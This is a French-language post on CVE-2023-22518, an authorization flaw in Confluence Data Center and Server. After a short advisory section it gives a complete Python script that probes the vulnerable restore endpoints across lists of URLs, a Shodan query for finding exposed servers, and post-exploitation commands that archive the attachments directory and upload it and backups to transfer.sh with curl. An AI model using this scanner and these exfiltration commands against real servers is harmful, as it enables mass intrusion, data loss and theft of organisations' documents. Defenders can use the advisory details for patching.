
Vulnérabilité d'autorisation incorrecte dans Confluence Data Center et Server
Vulnérabilité d'autorisation inappropriée dans Confluence Data Center et Server.
Atlassian a alerté les administrateurs d'une vulnérabilité critique dans Confluence. L'exploitation de ce problème peut entraîner une perte de données, c'est pourquoi les développeurs vous exhortent à installer les correctifs dès que possible.
Il est à noter que la vulnérabilité ne peut pas être utilisée pour une fuite de données et qu'elle n'affecte pas les sites Atlassian Cloud accessibles via le domaine atlassian.net.
https://jira.atlassian.com/browse/CONFSERVER-93142
| Produit | Versions affectées | Versions corrigées |
|---|---|---|
| Confluence Data Center | Toutes les versions sont affectées | 7.19.16 ou ultérieure |
| Confluence Server | 8.3.4 ou ultérieure | |
| 8.4.4 ou ultérieure | ||
| 8.5.3 ou ultérieure | ||
| 8.6.1 ou ultérieure |
Classe : Autorisation inappropriée
CWE : CWE-285 / CWE-266
ATT&CK : T1548.002
/json/setup-restore.action
/json/setup-restore-local.action
/json/setup-restore-progress.action
/server-info.action Forum communautaire
import requests
import random
import string
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def random_string(length=10):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(length))
def post_setup_restore(baseurl):
paths = ["/json/setup-restore.action", "/json/setup-restore-local.action", "/json/setup-restore-progress.action", "/server-info.action"]
for path in paths:
url = f"{baseurl.rstrip('/')}{path}"
headers = {
"X-Atlassian-Token": "no-check",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryT3yekvo0rGaL9QR7"
}
rand_str = random_string()
data = (
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"buildIndex\"\r\n\r\n"
"true\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
f"Content-Disposition: form-data; name=\"file\";filename=\"{rand_str}.zip\"\r\n\r\n"
f"{rand_str}\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"edit\"\r\n\r\n"
"Upload and import\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7--\r\n"
)
try:
response = requests.post(url, headers=headers, data=data.encode('utf-8'), timeout=10, verify=False)
if (response.status_code == 200 and
'The zip file did not contain an entry' in response.text and
'exportDescriptor.properties' in response.text):
print(f"[+] Vulnerable to CVE-2023-22518 on host {url}!")
else:
print(f"[-] Not vulnerable to CVE-2023-22518 for host {url}.")
except requests.RequestException as e:
print(f"[*] Error connecting to {url}. Error: {e}")
def main():
parser = argparse.ArgumentParser(description="Post setup restore script")
parser.add_argument('--url', help='The URL to target', required=False)
parser.add_argument('--file', help='Filename containing a list of URLs', required=False)
args = parser.parse_args()
if args.url:
post_setup_restore(args.url)
elif args.file:
with open(args.file, 'r') as f:
for line in f:
url = line.strip()
if url:
post_setup_restore(url)
else:
print("You must provide either --url or --file argument.")
if __name__ == "__main__":
main()
python3 exploit.py
Enter the URL: http://REDACTED:8090/json/setup-restore.action?synchronous=true
Enter the path to the .zip file: /path/xmlexport-20231109-060519-1.zip
Recherche Shodan :
http.favicon.hash:-305179312
Application de backdoor Confluence
Lors de la réinitialisation de Confluence à l'aide de cette vulnérabilité, le répertoire %CONFLUENCE_HOME%/attachments reste plein de fichiers, potentiellement par milliers. Les extraire tous est assez simple, et leurs extensions peuvent être déterminées à l'aide de la commande Linux file. Par exemple :
file /var/lib/confluence/attachments/v4/191/28/77273124/77273124.1
/var/lib/confluence/attachments/v4/191/28/77273124/77273124.1: PNG image data, 442 x 170, 8-bit/color RGBA, non-interlaced
or
file /var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1
/var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1: PNG image data, 1250 x 674, 8-bit/color RGBA, non-interlaced
Exemple de la façon d'archiver facilement un répertoire et d'extraire l'archive :
tar -czvf /var/atlassian/application-data/confluence/attachments_backup.tar.gz /var/atlassian/application-data/confluence/attachments
curl --upload-file /var/atlassian/application-data/attachments_backup.tar.gz https://transfer.sh/attachments_backup.tar.gz
https://transfer.sh/***********/attachments_backup.tar.gz
or
curl --upload-file /var/atlassian/application-data/confluence/backups/backup-2023_09_26.zip https://transfer.sh/backup-2023_09_26.zip
https://transfer.sh/***********/backup-2023_09_26.zip
Une backdoor persistante même après le correctif de la vulnérabilité critique de Confluence